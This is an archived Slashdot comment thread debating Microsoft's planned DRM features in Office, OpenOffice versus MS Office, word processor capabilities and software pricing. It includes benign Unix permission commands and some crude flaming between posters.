    7. Re:I just bought a new laptop by tshak · · Score: 1

      First of all these features really aren't "DRM" per say, rather, a system for organizations to control who does what with which document. This is very important for government secrets or corporate trade secrets - being able to minimize the chances of a leak is huge.

      This being said, I have no use for these features at home. I use Open Office at well, but I'm not incredibly happy with it (I like MS Office better for most tasks), but the main reason I use it is because I know it's not going to give a spreadsheet arbitrary access to my filesystem.

      --

      There is no longer anything that can be done with computers that is nontrivial and clearly legal. -- Paul Phillips
    8. Re:I just bought a new laptop by airrage · · Score: 4, Informative

      Actually, Open Office, cannot do all the things office can do. The problem comes in where you define as what is Office? First, most think of Word, Excel, PowerPoint, and Access (Professional) as the standard office suite. But now, with the 2000 versions, include Project/Project Server, Visio, MapPoint, Frontpage, Publisher, and the list goes on and on.

      Secondly, I think you mean to say that it can do everything MS can do considering the basic functionality I use. This is probably true with any productivity suite out there, since they all essentially do the same basic things.

      However, if you take Excel for example, and have seen the myriad ways in which it is used, sometimes other packages have similar functionality, and often times it is completely unique to MS Office.

      I can wear gloves and shorts like Mike Tyson and say, 'See I'm a boxer now, I'm sparring and jumping rope, I can do anything Mike can do.' Then Mike connects and you realize the difference.

      The only place where things are probably similar is WORD, which boiled down could be replaced by just about anything, really.

      You argument is good, except for the problems noted with #4, but otherwise you've made a good argument.

      --
      "This isn't a study in computer science, its a study in human behavior"
    9. Re:I just bought a new laptop by kin_korn_karn · · Score: 1

      what about the legal issue that if you attempt to protect it, it's assumed to be a trade secret by the courts? a memo about where to have the yearly office lunch could be classified a trade secret and I could get shitcanned for forwarding it home to print out the address.

    10. Re:I just bought a new laptop by binner1 · · Score: 2, Informative

      Not yet. But it's getting there.

      Is this a reference to the speed at which OO loads? If so, touché! I use it, and it works for me, but damn is it ever slow to load initially. Of course half of Office loads with Windows at boot time, so there are trade offs.

      -Ben

    11. Re:I just bought a new laptop by lynx_user_abroad · · Score: 2, Insightful
      But this sort of DRM is on your side - as in, people can't break into your files.

      No, what you mean is "people other than Microsoft, or those who figure out what Microsoft know" can't break into your files. I'll bet my next paycheck you can't offer anything like proof that Office 11 doesn't have a { back door | bug } { they | office of homeland security | some ingenious cracker } can use to get the info. Remember: DMCA does not make developing/using such a hack illegal, only the act of { selling | sharing | tellingr someone else where to download it } is prohibited.

      --

      The thing about things we don't know is we often don't know we don't know them.

    12. Re:I just bought a new laptop by sulli · · Score: 1

      It has the "Media Keys" feature, but you can do what everyone else does and ignore it.

      --

      sulli
      RTFJ.
    13. Re:I just bought a new laptop by Planesdragon · · Score: 1

      people cannot break into my files now. that is what pgp is for

      But can you allow people to read your files but not print/copy/edit them?

      MS sounds like they're just moving to the same "security" funcionality that Adobe has for Acrobat. I can't see how this is a bad thing; I can see how it could be abused, but I can't see how it is automatically a bad thing.

      *sigh*

    14. Re:I just bought a new laptop by nomso · · Score: 1

      I am happy to say that my personal TiBook is 100% microsoft free. For my office needs, OpenOffice does it all and then some.

      As for my organisation, I have nearly completed migration to OpenOffice, and most people haven't even noticed. And it runs just the same on both windows and Linux workstations.

      --
      there is no spoon
    15. Re:I just bought a new laptop by VValdo · · Score: 1

      Actually, Open Office, cannot do all the things office can do. The problem comes in where you define as what is Office? First, most think of Word, Excel, PowerPoint, and Access (Professional) as the standard office suite. But now, with the 2000 versions, include Project/Project Server, Visio, MapPoint, Frontpage, Publisher, and the list goes on and on.

      Well, Microsoft Office for Mac contains Word, Excel, Entourage, and Powerpoint. That's it. So it doesn't seem like even MS is consistent in what "Office" means.

      W

      --
      -------------------
      This is my SIG. There are many like it, but this one is mine.
    16. Re:I just bought a new laptop by perlchild · · Score: 3, Insightful

      PGP isn't DRM... it's not time sensitive. If someone sells you a pgp key, it's your forever... Microsoft's idea of DRM is if microsoft goes out of business, all DRM-protected materials become useless, so the DOC has to legislate to prevent Microsoft from ever doing so...

    17. Re:I just bought a new laptop by perlchild · · Score: 1

      where does it say it's YOU and not Microsoft/RIAA nowhere... Nor will you find any... With the complaints that people are too clueless/sysadmins are too overworked to secure their own systems... it's an excuse waiting to happen that DRM/trusted computing be used to remove control from the machine owners and give it to *ahem* "content providers"

    18. Re:I just bought a new laptop by Watts+Martin · · Score: 4, Informative

      The only place where things are probably similar is WORD, which boiled down could be replaced by just about anything, really...

      Were that only the case.

      Take a real-life case: doing a manuscript for a novel in one file. This requires a few basic things:

      1. A title page with its own formatting.
      2. Every chapter starts with its own page that has no header and a footer consisting of just one centered page number.
      3. Every other page in the chapter has no footer but does have a simple header.
      4. Ideally all the spacing should be done in styles for consistency, particularly vertical layout (i.e., the cover page is vertically centered, the chapter titles start 4" from the page's top edge, etc.).

      Sounds simple, right?

      You'd be amazed at how few modern word processors are able to do this. I say "modern" because, ironically, this was pretty trivial with most non-GUI word processors like WordStar. (Incidentally, to those who'd suggest using a text editor and LaTeX, it's a good idea in theory, but in practice you want a manuscript to be set in Courier, to use underlines instead of italics, to use "--" and straight quotes instead of em dashes and typographer's quotes, etc. Ironically, LaTeX and other good print formatters have a lot of trouble dumbing their output down sufficiently.)

      At any rate, once you get into Word's collaboration features, forms, mail merge, multilevel indexing, and so on (all things I've actually had to use!), competitors get even fewer and farther between--for the most part, in fact, you may pretty much be limited to OpenOffice and WordPerfect. There are a few single-platform competitors which come close in the feature department and even surpass Word for certain functions (Nota Bene on Windows, Nisus Writer on the Mac), but the uncomfortable truth is that Word really doesn't have a lot of competition out there in terms of its feature set.

    19. Re:I just bought a new laptop by MeNeXT · · Score: 1
      In some cases it can do more. You do not seem to mention it. Why is it that I have less trouble in OOo than in Word? Because word does not run on *NIX.

      --
      DRM? No thanks, I'll just get it somewhere else...
    20. Re:I just bought a new laptop by Zero+Sum · · Score: 2, Insightful
      I will not buy DRM.

      You won't, eh? Well, in contrast to some uses for DRM, this is actually beneficial to the consumer. Its YOUR digital rights that Office will protect, and it is YOU that controls what those rights are.

      You, sir, lie; no wonder you are anonymous.

      It is Microsoft who will control those rights, not you. You will only have the control that MS thinks you should have for as long as they think you should have it. You won't even own your own documents.

      --

      Zero Sum (don't amount to much). [root@localhost]

    21. Re:I just bought a new laptop by lactose99 · · Score: 2, Informative

      Have you installed 1.0.2? It improves the initial load time.

      --
      Fully licensed blockchain psychiatrist
    22. Re:I just bought a new laptop by devnullkac · · Score: 1

      Yeah, but he didn't buy it... he just downloaded it for free :-)

      --
      What do you mean they cut the power? How can they cut the power, man? They're animals!
    23. Re:I just bought a new laptop by kalidasa · · Score: 1

      Nope. It's a reference to the fact that Unicode support isn't quite 100% there yet, though it's improving (important to me, if not to all users), and there are other things (I don't like the paradigm for the equation editor, for instance). OO is definitely 1.0 software, it's rough around the edges and quite finicky. It's like RedHat 6 or Mozilla 1.0 or Netscape 2, or Windows 3.0. But it's on the way there; by 3.0 it should be indisputably able to do "everything that MS Office does."

      I'm on OS X, myself, so I'd really rather have an Aqua than an X11 office environment; I'm using BBEdit for most of my typing, and TextEdit for stuff that needs Unicode (I've had problems with BBEdit's Unicode rendering). I'd love to see OO get there, though. Ideally, I'd love to see something more WordPerfect like, with a source screen showing the XML code for an XML-based document format (rather than "reveal codes" in WP).

    24. Re:I just bought a new laptop by binner1 · · Score: 1

      I agree. I think that feature wise, and working the way I want it to wise, WordPerfect was the ultimate in WYSIWYG word processing. Too bad Corel is as bad at marketing as MS is good.

      Aside from some Government shops (Canada), a fair number of Law firms, and the _odd_ home user, Corel 's Office Suite really is a forgotten product.

      -Ben

    25. Re:I just bought a new laptop by binner1 · · Score: 1

      Your post is my first awareness of 1.0.2.

      Thanks, I'll give it a shot.
      -Ben

    26. Re:I just bought a new laptop by Twirlip+of+the+Mists · · Score: 1

      You, like most Slashdot posters (and presumably readers) have no idea what DRM is.

      DRM is not encryption. DRM is not copy protection. DRM is not access control.

      Do a damn Google search and spend five minutes learning what "DRM" really means before posting, okay?

      --

      I write in my journal
    27. Re:I just bought a new laptop by Anonymous Coward · · Score: 2, Insightful

      >>>Project/Project Server, Visio, MapPoint, Frontpage, Publisher, and the list goes on and on.

      great....so now there's absolutely no end in sight to never ending "make work" being invented by corporate america.

      everytime i walk into a company with 500+ employees, i'm always amazed at the amount of bullshit work people make up. Either made up by middle management handed down to grunts...or the grunts themselves making it look like they are busy.

      getting harder and harder to find reasonable, intelligent humans.

      microsoft pushing the "monkeys punching buttons" environment just makes it exponentially worse.

    28. Re:I just bought a new laptop by theefer · · Score: 1

      This could be true, but how many writers are there out there ? Few.

      What most people use Word for is basic text edition. This can be done by OpenOffice or any other good Office Suite. Advanced text edition can be tricky, but for the regular l-user, this just doesn't matter.

      We are not talking about some special cases here, but most of the time, it's *really* like bolding two words and enlarging one title.

      This is why they start to sell PC with StarOffice actually ...

      --
      theefer
    29. Re:I just bought a new laptop by kalidasa · · Score: 1

      Corel has ruined it. They've done nothing to improve it really since 8.0. A terrible shame.

    30. Re:I just bought a new laptop by vnv · · Score: 1
      And OS X 10.3 is going to contain Apple's DRM layer.

      And Microsoft mac:OfficeX 2.0 is going to contain Microsoft's DRM.

      Linux and FreeBSD and a few others are going to be the only non-DRM operating systems.

      And they won't be able to run on the new PC's after Intel gets done putting EFI BIOS on all the new machines. And of course Intel's new CPU's won't run unless there is EFI BIOS.

      The powers that be are more than willing to lose 1% of the PC market (Linux) in order to use DRM to control 99% of the market.

      It only gets worse from this point on.

    31. Re:I just bought a new laptop by Clockwurk · · Score: 1

      You won't even own your own documents.

      Jesus Tap-dancing Christ. YOU WILL BE ABLE TO SET PERMISSIONS FOR DOCUMENTS YOU CREATE. Thats the entire point of DRM, to give content creators more control over their work. Write a paper in Word? You will have control over permissions associated with it. You are so freaking paranoid it's sickening. Maybe you should be the one posting anon. so people don't know what a paranoid, FUD spreading, dumbass you really are.

    32. Re:I just bought a new laptop by Zero+Sum · · Score: 2, Insightful
      Jesus Tap-dancing Christ. YOU WILL BE ABLE TO SET PERMISSIONS FOR DOCUMENTS YOU CREATE. Thats the entire point of DRM, to give content creators more control over their work. Write a paper in Word? You will have control over permissions associated with it. You are so freaking paranoid it's sickening. Maybe you should be the one posting anon. so people don't know what a paranoid, FUD spreading, dumbass you really are.

      I know you are just an abusive simpleton, but I''ll try an explain as I would to any sub-normal human being.

      The point of DRM has absolutelty nothing to do with the user and it is not for their benefit. If I set DRM permissions for "Microsoft do not read" do you think it would work? If you do your are living in fantasy land, not me.

      With any heirarchical control system the control lies at the top of the pyramid. This is real and the way things work.

      The next step will be that that DRM will not permit the document to be read by any "insecure" software - irrespective of it has any DRM restrictions or not. Which will translate as any editor not approved by Microsoft running on Microsoft approved software. Think on that.

      The step after that will be that the document cannot be read on anything that is not implimented on hardware DRM.

      I'm sure that won't bother you any as I doubt you have any freedom to lose as you are clearly not using your freedom of thought.

      Lastly, I don't think anyone can be paranoid about Microsoft. They have a history of illegal, unethical and immoral practices that continues to this day. They seem to think that laws and contracts only apply to others, not them (see Timeline and a thousand others). Destroying companies and individuals because they have something you want is not behaviour I seek to encourage.

      I don't like abuse whether delivering it or receiving it so I won't be replying to your handle again. I'll wait for intelligent comments.

      --

      Zero Sum (don't amount to much). [root@localhost]

    33. Re:I just bought a new laptop by LordSah · · Score: 2, Insightful

      It is Microsoft who will control those rights, not you. You will only have the control that MS thinks you should have for as long as they think you should have it. You won't even own your own documents.

      And you know this for sure? Really? You work for Microsoft, in Office, on the DRM? Gee golly, I'm glad such an authoritative source told me about that.

      The honest truth is that nothing about the implementation of Office's DRM has been released. Any broad statements like this is absolute conjecture (and in this case FUD).

      If you were right, then it would be pretty fricking stupid on Microsoft's part. What kind of corp in their right mind would buy into a cryptosystem that they didn't control? How much money would MS make on Office then?

    34. Re:I just bought a new laptop by binner1 · · Score: 1

      I would agree to that as well. Though the same can be said of Office. I can't think of a new feature that was worthwhile since '97. It's all UI changes now (personalized menus, etc) in both camps. Remember when these products were competing with useful features like spell check, etc.

      Does anyone remember AbiWord? I believe it got swallowed up into Lotus SmartSuite after it's win3.1 version...anyway, aside from Corel WordPerfect, it's the only other word processor I can remember (GUI-style anyway -> wp5.1 rocks) that was actually pleasant to use. Too bad Lotus ruined it.

      -Ben

    35. Re:I just bought a new laptop by Zero+Sum · · Score: 1
      And you know this for sure? Really? You work for Microsoft, in Office, on the DRM? Gee golly, I'm glad such an authoritative source told me about that.

      No, I don't work for Microsoft (Associating with criminals is illegal here) not in Office and not on the DRM. On the net the authorativeness of a source depends on its reputation. And I don't judge my own.

      But in this case it isn't necessary for me to be authorative because the very subject (or the world itself, if you prefer) is authoratative on the matter. We do not even have a method in theory where Microsoft would not be in control let alone in practise.

      So, yes I do know this for sure.

      The honest truth is that nothing about the implementation of Office's DRM has been released. Any broad statements like this is absolute conjecture (and in this case FUD).

      On the contrary it is based on what is theoreticaly possible. But you probably know this. I can't see your argument as legitimate.

      If you were right, then it would be pretty fricking stupid on Microsoft's part. What kind of corp in their right mind would buy into a cryptosystem that they didn't control? How much money would MS make on Office then?

      Do you know how many managers I have had tell me that they don't care about Microsoft prices? That as long as everyone pays it the competition is equal? That it just gets passed on to the customer anyway? That it helps them make a larger $ profit because their % profit looks smaller?

      I've really been told all those things repeatedly. So yes, they will buy it, or enough of them will and Microsoft knows that. They know it will knock free software back considerably and yes, they know it will make them heaps of dollars (godammit they already have heaps, and mountains - can't even find a good word nowadays).

      So if you have a rational argument, make it. Irrational and emotional outpouring doesn't achieve much.

      --

      Zero Sum (don't amount to much). [root@localhost]

    36. Re:I just bought a new laptop by Dunkalis · · Score: 1

      You mean www.abiword.org? Or some other product?

      --
      Slashdot is a waste of time. I enjoy wasting time.
    37. Re:I just bought a new laptop by Sabalon · · Score: 1

      I'd have to say that WordPad fulfills about 95% of my word processing needs.

    38. Re:I just bought a new laptop by Zero+Sum · · Score: 1
      Man- you are just diggin yourself deeper. You should quit now before you lose all credibility. Moron.

      Go ask a psychologist what denial means.

      --

      Zero Sum (don't amount to much). [root@localhost]

    39. Re:I just bought a new laptop by cpt+kangarooski · · Score: 1
      Thats the entire point of DRM, to give content creators more control over their work.


      You failed to explain why that's a terribly good thing. Within limits, I can see it being acceptable. But permanent control, or expansive control -- that doesn't sound too good for the rest of the world. Which begs the question -- why should the rest of the world permit creators to do such things? (especially since there seems to be a lot of creation going on without it)

      --
      -- This and all my posts are in the public domain. I am a lawyer. I am not your lawyer, and this is not legal advice.
    40. Re:I just bought a new laptop by cygnusx · · Score: 1

      > What most people use Word for is basic text edition.

      This is a pretty misleading, though oft-repeated argument. What happens when these users need extra functionality? Forget their investment in learning Word and move to Latex? Realistically, ain't gonna happen.

      Most people probably use 20% of word's featureset regularly -- but

      (a) the 20% is all different (e.g. a business user may often use WordArt, whereas a chem prof may often use equation editor)

      (b) once in a while do go beyond their 'usual' featureset. (e.g. the guy using Word at home rarely uses revision tracking, except on the rare day he brings work home)

      Another reason why the 80-20 rule ('80% of users use 20% of the features') doesn't work well for software: say I have a small car that's suitable for intra-city travel. If I want to do something unusual, like go driving through Death Valley, I'd rent another car, maybe an SUV. We can't do that with software yet for two reasons: software-on-demand, JWS notwithstanding, isn't there yet, and because interfaces for software vary so wildly that it's not practical for most users to learn.

    41. Re:I just bought a new laptop by Malcontent · · Score: 1

      Since when are Project and Project Server in Office?

      --

      War is necrophilia.

    42. Re:I just bought a new laptop by kalidasa · · Score: 1

      Actually, you're talking about Ami Pro.

      Word's Unicode support has gotten much, much better since Word 97; indeed, the main thing that Microsoft is to be complimented for nowadays (IMHO) is its internationalization and its work with fonts and character sets. It also more recently started moving toward incorporating different UI elements (that I'm not too happy about, myself) and incorporating some WordPerfect like features. So MS Word has changed over the past 6 years, just not always for the better. In comparison with WordPerfect, it has been moving forward. Can't say I'm happy about giving them any kind of positive feedback, but truth is truth ....

    43. Re:I just bought a new laptop by LordSah · · Score: 1

      Fair enough. You originally said:

      It is Microsoft who will control those rights, not you. You will only have the control that MS thinks you should have for as long as they think you should have it. You won't even own your own documents.

      You restated your point as this--I'd really like to hear a justification:
      We do not even have a method in theory where Microsoft would not be in control let alone in practise.

      I still think these statements are absolute BS. I'll put down some thoughts, and then hand the burden of proof to you.

      There are third party DRM solutions, some of which already integrate with Office. SyncCast, Perimele's Protector, Adhaero Doc were the first ones I found with Google--more exist. How is Microsoft's DRM going to be any different, in theory or practice, than these? I submit that it'll at least be more user-friendly, because of MS's ability to more tightly integrate DRM into Office's UI. The MS DRM solution could also be more performant and secure, again because of more knowledge and tighter integration with the app.

      On the contrary it is based on what is theoreticaly possible.

      Looking into one of these 3rd-party DRM solutions, I found a whitepaper on Adhaero's website. Its a little low on nitty-gritty details, and high on marketing, but it describes the essentials of a DRM system. The files are encrypted with Blowfish, and digitally signed. Included in each file is the permissions for the file and a list of users/groups who have access to the file. In order to open the file, you must be properly authenticated with an external server. Once authenticated, the server provides the key to decrypt the document. Attempting to forward the email, print the doc, edit the doc, etc fails because the Office app communicates to the DRM layer prior to doing any of those operations. Adhaero claims to have disabled cut/copy and print screening while DRM protected documents are viewed.

      This is vulnerable in the following ways (as I see it):
      - The key is stored in memory. However, it will be in the DRM process's memory space, and WinNT doesn't allow processes to read each-other's memory. Finding a vulnerability in WinNT's memory manager could expose this.
      - Similarly, the unencrypted data is stored in Word/Outlook/Excel's memory. The same as above applies.
      - You could snoop the video buffer for the image of the protected content. I have no idea if Windows allows any app to view this, or if it's only the provision of kernel-space code. I'll guess that Windows doesn't allow apps to view it, or there is a mechanism to make Windows deny viewing it (because this is such an obvious weakness).
      - The user could stick their monitor, face down, on a Xerox machine and photocopy the data. The best engineered cryptosystem in the world cannot prevent this sort of maliciousness. Even the provably perfect One-Time Pad fails when the possessor of the plaintext hands it over to an attacker.

      To speak to your original statement: I'd like to know why MS couldn't sell a server app which handles certificates, keys and proper authentication for DRM users. If your shop deployed such a server for your DRM users, I don't see any need for Microsoft be involved (after selling you the software). I'll go out on a limb and suggest that this may be a feature for the upcoming Windows Server 2003. As the admin, you would run that server, and you'd be the ultimate authority on the operation of DRM in your shop. Why again does Microsoft control all your documents in this case?

      The 'theory' about DRM I've seen bantied about (which may be the theory you alluded to) is that you cannot protect data once it's in someone's head. In case you're thinking about that, then you need to realize that Office DRM isn't about absolute control of the information that a given user authors. If said user wanted to be absolutely sure that the information was only seen by an absolutely trusted audience, he'd never write it down. It would stay in his head.

      Office DRM is about stopping accidental (or unknowing) leakage of sensitive data. Say I'm the boss at IniTech, LLC. We're developing a new console system (let's call it the PlayXBox). Joe random tester without DRM forwards the specs for the cool new system to a friend ("hey, he's a friend. what harm could it do?") outside the company. It's posted on slashdot and Oh Shit--our investors are now pissed and we're gonna lose money. Fast forward to the future, and we're working on PlayXBox]|[, but now we have DRM. When Joe random testor wants to forward specs to his buddy, an error message pops up that says he doesn't have permission to. He has to think twice now. If he's hellbent on mailing his buddy, he certainly can (by just retyping the spec sheet), but its now obviously intentional, and malign. He's _way_ more likely to get fired.

      DRM is not the end-all solution to information security (and Microsoft didn't bill it as such). It's just another barrier keeping internal data internal. I'm guessing that corps that do deploy DRM and use it for sensitive data will have less leaks that those corps that don't. That's what Microsoft is marketing anyway.

      <tangent>
      You said a couple more things I'd like to address:
      Do you know how many managers I have had tell me that they don't care about Microsoft prices? That as long as everyone pays it the competition is equal? That it just gets passed on to the customer anyway? That it helps them make a larger $ profit because their % profit looks smaller?

      I've really been told all those things repeatedly. So yes, they will buy it, or enough of them will and Microsoft knows that. They know it will knock free software back considerably and yes, they know it will make them heaps of dollars (godammit they already have heaps, and mountains - can't even find a good word nowadays).


      This sounds like a problem on the part of your managers, and not Microsoft. Despite all of Microsoft's shenanigans, all of their shady licencing, all of the rapid upgrade cycles, those dollars were in your manager's hands. They chose to give those dollars to Microsoft. Managers are empowered to make financial decisions, but they are also responsible for those decisions. Saying "Microsoft made me do it" is an attempt to skirt that responsibility.
      </tangent>

      I apologize for grammar, spelling and semantic mistakes. It's 5:30AM my time :) Hopefully, this was a rational enough argument to be sufficient for your request. In conclusion, I'll restate my questions to you:
      - Is there any theoritical reason DRM cannot work, discounting malicious users who we cannot protect against?
      - Is there any reason Microsoft cannot implement a decent DRM scheme? Pointing to the bug history of MS products won't do. That history merely lowers the chance of getting a robust product out the door, and doesn't unilateraly exclude the possibility.
      - Is there any reason Microsoft cannot offer a DRM scheme that allows the customer control of the documents?

    44. Re:I just bought a new laptop by binner1 · · Score: 1

      Oh my. Yes, I did mean Ami Pro. Thanks for the correction.

      Thanks
      -Ben

    45. Re:I just bought a new laptop by Malcontent · · Score: 1

      Well I did. here is the link. Ms Office Professional. $519.00 from warehouse.com. It does not include project, nor project server, no visio, no MapPoint, or Publisher. All of those cost extra.

      Let's do a quick calculation shall we.

      Office Pro $519.00
      Visio Professional $439.95
      Publisher Deluxe 139.95

      And sorry warehouse does not sell mappoint and insight does not publish their prices on it so let's presume that mappoint is actually free. What have totaled so far? Why it's over $1098.00.

      I am glad you Mr Anonymous Coward posted that message. I now feel proud to have educated not only you but all other slashdot users on where they can get quality Ms products and how much they should expect to pay for it.

      For those users who are interested in getting most of the functionality of Office for free or a fraction of the cost may I reccomend the following links.

      Open office
      KDE/Koffice
      The Kompany
      602 Office
      IBM/Lotus
      Corel

      Please people don't get ripped off voluntarily it makes you look stupid. I am sure you can put that thousand dollars to better use right? Don't you kids need dentures or a collage education?

      --

      War is necrophilia.

    46. Re:I just bought a new laptop by wfrp01 · · Score: 1

      I don't think DRM is really the most important issue. Although I'm not a big fan of DRM, I am a big fan of alternatives and competition. It's not DRM that really concerns me. I can imagine an open spec for DRM that anyone could implement. What concerns me is society's oblivious willingness to support Microsoft's software monoculture. QuickTime's DRM is better only in the sense that it's not as ubiquitous and compulsary as Microsoft's crap. It's still proprietary. It's still the same game.

      --

      --Lawrence Lessig for Congress!
    47. Re:I just bought a new laptop by Malcontent · · Score: 1

      Is that office professional or standard? How much did you pay for visio, publisher, mappoint and the rest of the software. If we presumed that you paid anywhere between $50 and $100 for those pieces of software then you are out anywhere from $300.00 to $500.00 dollars. Maybe you have a rich daddy paying for your education but when I was going to school $300.00 was a lot of money.

      Also of course not everybody is a student. Some people are out of school and working for a living. They have lives and kids and mortgages. For those people who actually work and pay taxes a thousand dollars is a lot of money to pay for software especially if there are many free of lower cost alternatives.

      BTW I see that you are still afraid to post with your real slashdot ID why is that?

      --

      War is necrophilia.

    48. Re:I just bought a new laptop by Twirlip+of+the+Mists · · Score: 1

      However, it does a very piss-poor job of managing who has the rights to digital media without some method of enforcement.

      That's not true at all. Media rights started with the idea of rights and clearances, and rights management systems were originally just databases for storing information about who had which rights to do what, when, under what terms. Digital rights management is the same thing, only digital.

      See, DRM really has nothing to do with consumers. It's, to use the popular jargon, a B-2-B thing. Let's say you're an advertising agency. You want to make a commercial for your client, Foo's Widgets. You want to use "Oh Baby Oh Baby" by the Fabhouse Five in the commercial. So you contact TuneCo, the owner of the distribution rights to that song, and you buy the right to use it in your commercial. That rights package is really complicated; it'll tell you how much of the song you can use, whether you can edit the song and if so how, whether you have to attribute the song, where the commercial can be run, what time of day it can be run, a maximum number of times it can be run in a given window... it's complicated. And if you violate your rights, it's going to cost your agency a bloody fortune.

      Ergo, DRM. A DRM system will tell you everything you need to know. For instance, the system might include one of those expert system interfaces, where it asks you certain questions. How much of the song, in minutes and seconds, are you using? Are you editing the song at all? And it'll crunch for a second and tell you if you're within the rights that you bought.

      So DRM actually has nothing to do with encryption or access control or copy protection. Those things properly belong in a different class altogether, one called digital rights enforcement, or DRE. DRE and DRM can be used together, but they don't have to be.

      So when anybody points at a copy protection system and says, "That's DRM," they're not just overgeneralizing. They're just plain wrong.

      --

      I write in my journal
    49. Re:I just bought a new laptop by Malcontent · · Score: 1

      "My point: You can drive a rusted-out '68 Pinto instead of a Lexus for a FRACTION OF THE COST!!!"

      Wow you must be a big fan of mine. For those who don't get it this AC is making a reference to an old joke of mine. It went like this.

      "Windows 2000 is better then windows 98 like a 78 Pinto is better then a 74 Pinto".

      Your memory must be weak though because you got the years wrong. OTOH maybe it's not your memory but your intellect in general that's failing you. I'll let your post speak for your intelligence.

      --

      War is necrophilia.

    50. Re:I just bought a new laptop by Malcontent · · Score: 1

      If I am on your foes list why do you keep posting replies to my messages? Also why do you keep posting anonymously? Are you really that ashamed of your own words and thoughts?

      --

      War is necrophilia.

    51. Re:I just bought a new laptop by perlchild · · Score: 1

      Errr well if they did SAY it... wouldn't the cat be out of the bag, so to speak?

    52. Re:I just bought a new laptop by Malcontent · · Score: 1

      Wow I have a stalker!. That's kind of cool and creepy at the same time. Aren't there any cure girls in your high school to stalk though? Even if you are gay it would be better to stalk one of those boy bands them me!. Whatever makes you dick hard though I am not making any judgements. I am curious if you jerk off while reading my posts though if you do then maybe I can post some erotica for you.

      As for shouting me down how do you intend to do that when you are fearful of posting with your real ID? As a coward you post at zero while I post with a +1. Seems silly.

      "were you serious about those crappy programs substituting for MS Office? "

      Hell yes. They work great. I am not stupid enough to spend a thousand dollars on software when I can get free software that's perfectly suitable to my needs.

      "Do you also drink toilet water?"

      I used to drink glenlevit almost exclusively but these days I seem to be drinking lagavulin, laphroaig, or oban. Some people refer to them as toilet water but I like them nevertheless. I hate paying for crappy software but I don't mind paying for nice scotch. A thousand dollars buys you a lot of nice scotch.

      --

      War is necrophilia.

  5. Hey More M$ Security! by Valiss · · Score: 1

    And we all know what that means... But seriously, I'd be interested to see if this will actually prevent hole (espcially in Outlook security) or simply create another avenue for hackers to open up. But I like the idea...

    --

    -Valiss
  6. Yes... by MrEd · · Score: 5, Insightful
    There's demand in any organization for digital rights management... you want to restrict modifying the purchase order forms to the accounting department, but make them globally readable? Check.


    Not all DRM is about P2P.

    --

    Wah!

    1. Re:Yes... by AzrealAO · · Score: 1

      Absolutely correct, and not the only place it's applicable.

      All throughout a business's processes, you'll want certain documents ability to be modified restricted to certain users (or even just parts of some documents). Just because a company puts DRM features into a software package, it's not some underhanded payoff to the RIAA.

    2. Re:Yes... by Telastyn · · Score: 2, Insightful

      Umm, that's already in windows.

      Set permissions to the .xls/.doc to readonly for the groups that need it and other for others. They can copy the order forms and then modify them, but they'll be able to do that will DRM enabled Office. (or if not, it shouldn't be a difficult hack to read and save the doc somehow)

      Instead of having permissions on the fielsystem they're now in the filesystem and in the file. woo hoo.

    3. Re:Yes... by twert · · Score: 1

      "... you want to restrict modifying the purchase order forms "

      I agree this issue come up a lot. Most of my suppliers either save the file as a locked adobe file, convert it to an image formate (tif, jpg) via a scanner, or just use a digital signature in PGP.

      --
      Users are like bacteria, each one creating a tiny problem until the host dies.
    4. Re:Yes... by nelziq · · Score: 2, Funny

      Duude Office is not the app you want to use for purchase order forms. Use CRM software not DRM software.

    5. Re:Yes... by DrinkDr.Pepper · · Score: 3, Insightful

      There's demand in any organization for digital rights management... you want to restrict modifying the purchase order forms to the accounting department, but make them globally readable? Check.

      chgrp accounting *
      chmod 664 *

      --
      0xfeedface
    6. Re:Yes... by poot_rootbeer · · Score: 1

      There's demand in any organization for digital rights management... you want to restrict modifying the purchase order forms to the accounting department, but make them globally readable? Check.

      $ chgrp accounting /purchaseorders/*
      $ chmod 664 /purchaseorders/*

    7. Re:Yes... by Sgs-Cruz · · Score: 1

      Possibly they're not actually in the file, but in the office package. I'm not sure how it works but it would be elegant (well, slightly elegant... not that any DRM is really that elegant) to just have the controls in the program but just modify the actual file properties in the file system? Of course this assumes that people are using an NT-based Windows, as 9x doesn't support permissions... (neither does XP-Home if I recall)

      --

      Karma: pi (Mostly due to circular reasoning in posts).

    8. Re:Yes... by MrEd · · Score: 1

      That only works if you trust bob in accounting not to CC a copy to Fred in industrial so he can 'save time'.

      --

      Wah!

    9. Re:Yes... by stwrtpj · · Score: 1
      chgrp accounting *
      chmod 664 *

      Hate to break this to you, dude, but not everyone in the world uses UNIX or UNIX-like systems. Try maybe 95% of the desktops out there using something other than *NIX. I mean, hell, I use exclusively RH Linux at home, but I realize that in the real world, people are using something else.

      I understand you're trying to make a point, but I just get the sense that this trivializes the problem.

      Or am I just taking you too seriously and this should have been rated 5 Funny?

      --
      Karma: Frotzed (mostly due to the Frobozz Magic Karma Company)
    10. Re:Yes... by MrEd · · Score: 1
      Ok mister flame on - i'm so sweet like a nice bonbon,


      For example, say someone in the accounting department takes the file from the appropriately permissioned root:accounting 644 folder and emails it to Fred in sales, who botches the numbers and faxes it in.

      Or whatever. Base point is that you can't control who has access to the file once it's left the supervised playground without some form of DRM.


      Of course the Microsoft encryption will be crackable, and the trusted person could give away the password just as well as the file itself but I still stand by my point.

      --

      Wah!

    11. Re:Yes... by mrmag00 · · Score: 1

      Really? We use novell at my work. IBM mainframes for all the data stuff.

      Exact same thing applies to both - mainframe software has specific user permissions, and novell has the best file permission scheme I have ever seen.

      I hate to brake it to you, but even NT4 had decent file access schemes. In the real world, people have already fucking thought about that.

      If your still running a windows 98 peer-to-peer network, then thats your thing- but don't run around making up numbers out of your ass.

    12. Re:Yes... by roukounas · · Score: 1

      I don't think that by changing permissions on the file you can prevent someone from *mailing* or *copying* the file to a new location and changing it. That's what companies really want, global access control, not access control for each copy of the document. Medical companies need to record every detail on the experiments they do. Result data should definitely be read-only, no matter who copies them where. I don't think permissions can cover that.

  7. openoffice, koffice, etc. by wfmcwalter · · Score: 5, Interesting

    ...which naturally gives them an exc^h^h^hright to permanently break interoperability with OpenOffice, Koffice, etc. It's like Trusted Computing and signed Xbox images - they're not trying to shut out competition, but if that incidentally happens, they're not going to cry about it.

    --
    ## W.Finlay McWalter ## http://www.mcwalter.org ##
    1. Re:openoffice, koffice, etc. by generic-man · · Score: 1

      So? Microsoft has no obligation to support KOffice and OpenOffice. It's their technology.

      I'm sure KOffice and OpenOffice have a lot to offer on their own. They can't possibly survive by saying that they're "almost sorta kinda compatible with soon-to-be-obsolete versions of Microsoft Office."

      --
      For more information, click here.
